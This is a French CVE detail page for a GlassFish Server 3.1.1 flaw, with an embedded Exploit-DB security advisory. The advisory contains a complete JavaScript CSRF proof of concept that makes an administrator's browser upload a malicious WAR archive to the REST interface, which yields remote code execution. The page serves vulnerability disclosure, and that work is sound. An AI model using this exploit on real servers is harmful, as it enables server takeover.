CVE-2012-0550 : Détail

CVE-2012-0550

10.09%V3
Network
2012-05-03
16h17 +00:00
2017-12-06
20h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Unspecified vulnerability in the GlassFish Enterprise Server component in Oracle Sun Products Suite GlassFish Enterprise Server 3.1.1 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Web Container.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 18766

Date de publication : 2012-04-21 22h00 +00:00
Auteur : Roberto Suggi Liverani
EDB Vérifié : No

Details Vendor Site: Oracle (www.oracle.com) Date: April, 19th 2012 – CVE 2012-0550 Affected Software: Oracle GlassFish Server 3.1.1 (build 12) Researcher: Roberto Suggi Liverani PDF version: http://www.security-assessment.com/files/documents/advisory/Oracle_GlassFish_Server_REST_CSRF.pdf Description Security-Assessment.com has discovered that the Oracle GlassFish Server REST interface is vulnerable to Cross Site Request Forgery (CSRF) attacks. Although the javax.faces.ViewState is employed in the standard web administrative interface and it prevents such attacks, the REST interface remains vulnerable, as shown in the Proof-of-Concept (PoC) below. Exploitation Cross Site Request Forgery attacks can target different functionality within an application. In this case, as an example, it is possible to force an authenticated administrator user into uploading an arbitrary WAR archive, which can be used to gain remote code execution on the server running the Oracle GlassFish Server application. The Proof-of-Concept (PoC) below has been successfully tested with Firefox 8.0.1 and Chrome 15.0.874.121 with Basic Authentication enabled. Arbitrary WAR Archive File Upload – CSRF PoC <h1>Oracle GlassFish Server 3.1.1 (build 12) - CSRF arbitrary file upload</h1>by Roberto Suggi Liverani - Security-Assessment.com This is a Proof-of-Concept - the start() function can be invoked automatically. The CSRF upload technique used in this case is a slight variation of the technique demonstrated here: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html <button id="upload" onclick="start()" type="button">Upload WAR Archive</button> <script> var logUrl = 'http://glassfishserver/management/domain/applications/application'; function fileUpload(fileData, fileName) { var fileSize = fileData.length, boundary = "---------------------------270883142628617", uri = logUrl, xhr = new XMLHttpRequest(); var additionalFields = { asyncreplication: "true", availabilityenabled: "false", contextroot: "", createtables: "true", dbvendorname: "", deploymentplan: "", description: "", dropandcreatetables: "true", enabled: "true", force: "false", generatermistubs: "false", isredeploy: "false", keepfailedstubs: "false", keepreposdir: "false", keepstate: "true", lbenabled: "true", libraries: "", logReportedErrors: "true", name: "", precompilejsp: "false", properties: "", property: "", retrieve: "", target: "", type: "", uniquetablenames: "true", verify: "false", virtualservers: "", __remove_empty_entries__: "true" } if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4 var tmp = ''; for (var i = 0; i < fileData.length; i++) tmp += String.fromCharCode(fileData.charCodeAt(i) & 0xff); fileData = tmp; } else { // Chrome 9 // http://javascript0.org/wiki/Portable_sendAsBinary XMLHttpRequest.prototype.sendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); bb.append(data); var blob = bb.getBlob(); this.send(blob); } } var fileFieldName = "id"; xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Length", fileSize); xhr.withCredentials = "true"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { if (xhr.responseText != "") { alert(JSON.parse(xhr.responseText).msg); } } else if (xhr.status == 0) { } } } var body = ""; for (var i in additionalFields) { if (additionalFields.hasOwnProperty(i)) { body += addField(i, additionalFields[i], boundary); } } body += addFileField(fileFieldName, fileData, fileName, boundary); body += "--" + boundary + "--"; xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n'; c += value + "\r\n"; return c; } function addFileField(name, value, filename, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; c += "Content-Type: application/octet-stream\r\n\r\n"; c += value + "\r\n"; return c; } function getBinary(file){ var xhr = new XMLHttpRequest(); xhr.open("GET", file, false); xhr.overrideMimeType("text/plain; charset=x-user-defined"); xhr.send(null); return xhr.responseText; } function readBinary(data) { var tmp = ''; for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) & 0xff); data = tmp; return tmp; } function start() { var c = getBinary('maliciousarchive.war'); fileUpload(c, "maliciousarchive.war"); } </script> Solution Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html

Products Mentioned

Configuraton 0

Oracle>>Glassfish_server >> Version 3.1.1

Références

http://www.securitytracker.com/id?1026941
Tags : vdb-entry, x_refsource_SECTRACK
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA